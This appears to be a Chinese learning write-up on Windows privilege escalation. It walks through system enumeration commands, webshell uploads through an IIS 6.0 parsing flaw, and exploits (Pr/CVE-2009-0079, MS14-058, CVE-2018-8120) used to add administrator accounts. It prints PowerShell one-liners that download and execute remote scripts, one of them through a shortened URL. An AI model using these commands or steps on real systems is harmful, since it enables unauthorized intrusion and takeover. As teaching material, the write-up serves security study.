前言:

了解基础知识之后,这次就来仔细学一下Windows操作系统的提权。

Windows提权基础

0x00:Windows提权的大致方向

拿到一个低权限时要进行提权,首先要清楚从哪里入手,清楚了提权的大致方向,才能事半功倍。

提权学习之旅——Windows操作系统提权_服务器

其中比较常见而且利用较多的有

  1. ​内核提权​
  2. ​数据库提权​
  3. ​应用提权​
  4. ​中间人劫持等​

0x01:Windows基础提权命令

查询系统信息
systeminfo
如果要查看特定的信息,可以使用
systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
主机名
Hostname
环境变量
Set
查看用户信息
Net user
查看服务pid号
Tasklist /svc|find "TermService"
netstat -ano|find "3389"
查看系统名
wmic os get caption
查看补丁信息
wmic qfe get Description,HotFixID,InstalledOn
如果要定位到特定的补丁可以使用如下命令
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
查看当前安装程序
wmic product get name,version

其中需要注意一下​​环境变量​​,因为有的软件环境变量可能设置在其它路径中,而在该路径下的文件是具有写权限的,就可以通过替换文件来达到提权操作

0x02:常见所处的权限

通常拿到​​webshell​​,获得的权限如下:

ASP/PHP 匿名权限
ASPX user权限
jsp 通常是系统权限

0x03:提权的前提条件

最重要的就是收集信息了,根据收集到的信息再进行响应的攻击。

 1. 服务器系统和版本位数
2. 服务器的补丁情况
3. 服务器的安装软件情况
4. 服务器的防护软件情况
5. 端口情况

收集好信息,就可以先从这几个方面入手:

1:确定是否能执行命令(如果不能调用系统cmd执行命令。 要上传一个cmd.exe)
2:找一个可写可执行的目录
3 通过查找的补丁信息,找相应的exp提权

0x04:溢出漏洞提权

溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞 因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。

溢出漏洞提权是利用操作系统层漏洞进行权限提升,通常步骤是拿到shell后获取目标机器的补丁信息,通过目标的补丁情况获取相对应的漏洞,进行提权

Windows提权实践

0x01:Pr提权

​Pr​​是windows本地溢出工具,主要作用就是可以将低权限用户提升为系统权限,主要用于webshell提权,补丁号为​​KB952004​​,虽然Pr提权已经很老了,但对于新手去学习提权还是需要去学习一下的,接下来就来实践一下Pr提权。

提权学习之旅——Windows操作系统提权_php_02

一个上传页面,使用​​Wappalyzer​​分析一下服务器是什么服务器,以及网站环境等

提权学习之旅——Windows操作系统提权_安全_03

Web服务器是​​iis6.0​​,存在中间件解析漏洞,可以利用这个漏洞进行上传木马

IIS6.0解析漏洞介绍
当建立*.asa、.asp格式的文件夹时,其目录下的任意文件都将会被IIS当做asp解析。
当文件.asp;1.jpg IIS6.0同样会将文件作为asp文件解析。

上传一个​​asp​​一句话木马,改下目录和文件后缀

提权学习之旅——Windows操作系统提权_php_04

上传成功

提权学习之旅——Windows操作系统提权_上传_05

连接成功

提权学习之旅——Windows操作系统提权_安全_06

获得webshell权限,先来查看一下当前的用户权限,发现菜刀的虚拟终端没办法使用,自己上传一个

提权学习之旅——Windows操作系统提权_服务器_07

当前的用户权限是

提权学习之旅——Windows操作系统提权_安全_08

并没有创建用户等权限,所以接下来就要收集信息了,先来查询一下系统信息

提权学习之旅——Windows操作系统提权_上传_09

在系统的补丁中发现没有​​KB952004​

提权学习之旅——Windows操作系统提权_服务器_10

因此可以利用这个漏洞进行提权(​​cve-2009-0079​​),上传​​pr.exe​

提权学习之旅——Windows操作系统提权_安全_11

提权成功

提权学习之旅——Windows操作系统提权_php_12

0x02:Windows分析工具的利用

WinSystemHelper

WinSystemHelper检查可利用的漏洞,该工具适合在任何Windows服务器上进行已知提权漏洞的检测

使用方法:
上传bat+txt文件,运行bat查看结果

​WinSystemHelper​

实验环境

windows server 2003

创建一个​​iis​​服务,并开启​​asp​​支持,在​​wwwroot​​目录下放一个​​aspx​​木马,菜刀进行连接

提权学习之旅——Windows操作系统提权_php_13

连接成功后,查看权限

提权学习之旅——Windows操作系统提权_服务器_14

权限不高,在其他文件夹中上传不了,但可以在​​RECYCLER​​文件夹中上传文件,因为一般情况下这个文件夹都是有权限进行上传的。(​​RECYCLER​​是windows操作系统中存放被删除文件的文件夹之一)

根据​​WinSystemHelper​​的使用方法,在该目录下上传​​bat+txt​​文件。

提权学习之旅——Windows操作系统提权_linux_15

虚拟终端运行一下​​WinSysHelper.bat​

提权学习之旅——Windows操作系统提权_上传_16

有很多可以利用的漏洞,找一个11年的exp测试一下

提权学习之旅——Windows操作系统提权_上传_17

直接运行,发现成功添加了一个​​k8team​​的用户

提权学习之旅——Windows操作系统提权_服务器_18

创建的用户已经成功添加到管理员组当中,提权成功

提权学习之旅——Windows操作系统提权_服务器_19

Sherlock

Sherlock是一个在Windows下用于本地提权的PowerShell脚本

​https://github.com/rasta-mouse/Sherlock​

使用方法:

本地加载脚本
Import-Module Sherlock.ps1
远程加载脚本
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
检查漏洞
Find-AllVulns
出现Appears Vulnerable就是存在漏洞

实验环境

win7,搭配有phpstudy

先用管理员账号创建一个普通的账号,用户名为​​test​​,登陆进去,在根目录下设置一个php一句话木马,进行连接,发现无法在虚拟终端执行命令,而且自己上传进去的​​cmd.exe​​也无法使用,这时可以使用另外一款工具​​phpspy​​,将其中的​​2011.php​​文件上传到网站根目录并进行访问

提权学习之旅——Windows操作系统提权_安全_20

密码在源代码中有

提权学习之旅——Windows操作系统提权_上传_21

登陆之后,在这里面便可以进行命令执行了

提权学习之旅——Windows操作系统提权_安全_22

接下来在​​C:/users/test​​目录下放入​​Sherlock​​文件

提权学习之旅——Windows操作系统提权_安全_23

接下来调用下​​Powershell​​,这里直接在​​win7​​本机做实验了,所以使用如下命令

powershell.exe -exec bypass 

提权学习之旅——Windows操作系统提权_安全_24

启动成功,下面本地加载下脚本,检查下存在的漏洞

Import-Module ./Sherlock.ps1
Find-AllVulns

通过这样的分析,便可以找到对应的漏洞,利用相应的​​exp​​即可

提权学习之旅——Windows操作系统提权_php_25可以找​​MS14-058​​测试一下,上传与操作系统版本相同的exp

提权学习之旅——Windows操作系统提权_php_26

提权成功

Privesc

该工具可以枚举出目标Windows系统中常见的Windows错误安全配置,错误的安全配置将允许攻击者在目标系统中实现信息收集以及权限提升

​Privesc​

使用方法:

本地加载脚本
Import-Module .\Privesc.psm1
获取函数
Get-Command -Module Privesc
检测全部信息
Invoke-AllChecks
命令行下执行
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Invoke-AllChecks}"
远程调用执行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfp');Invoke-AllChecks"
添加用户
Install-ServiceBinary -ServiceName '服务名' -UserName user -Password password

先进入​​Powershell​

提权学习之旅——Windows操作系统提权_php_27

加载脚本并获取函数

提权学习之旅——Windows操作系统提权_linux_28

检测全部信息

提权学习之旅——Windows操作系统提权_php_29

除此之外,可以将信息导入到文件中

IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfp');Invoke-AllChecks >1.txt

提权学习之旅——Windows操作系统提权_上传_30

添加一个​​shy​​用户,密码为​​123456​

Install-ServiceBinary -ServiceName 'phpStudySrv' -UserName shy -Password 123456

提权学习之旅——Windows操作系统提权_安全_31

执行成功

0x03:提权实战

在测试的网站中上传一个​​asp​​木马文件,菜刀进行连接

提权学习之旅——Windows操作系统提权_linux_32

当前权限为

提权学习之旅——Windows操作系统提权_php_33

没有创建用户等权限,需要进行提权操作,使用命令​​systeminfo​​ 查看一下系统信息

提权学习之旅——Windows操作系统提权_服务器_34

当前的操作系统是​​winserver-2008​​,查到​​CVE-2018-8120​​可以对该系统进行提权操作,就将exp文件上传上去,但发现网站根目录和垃圾邮箱都无法上传进去

提权学习之旅——Windows操作系统提权_php_35

但是经过测试后发现,可以在​​User/All Users​​目录下进行上传exp文件

提权学习之旅——Windows操作系统提权_linux_36

提权成功

提权学习之旅——Windows操作系统提权_上传_37

创建用户成功

提权学习之旅——Windows操作系统提权_php_38

总结

通过这次学习,对Windows操作系统的提权有了一定的了解,下面就来学习一下Linux操作系统的提权!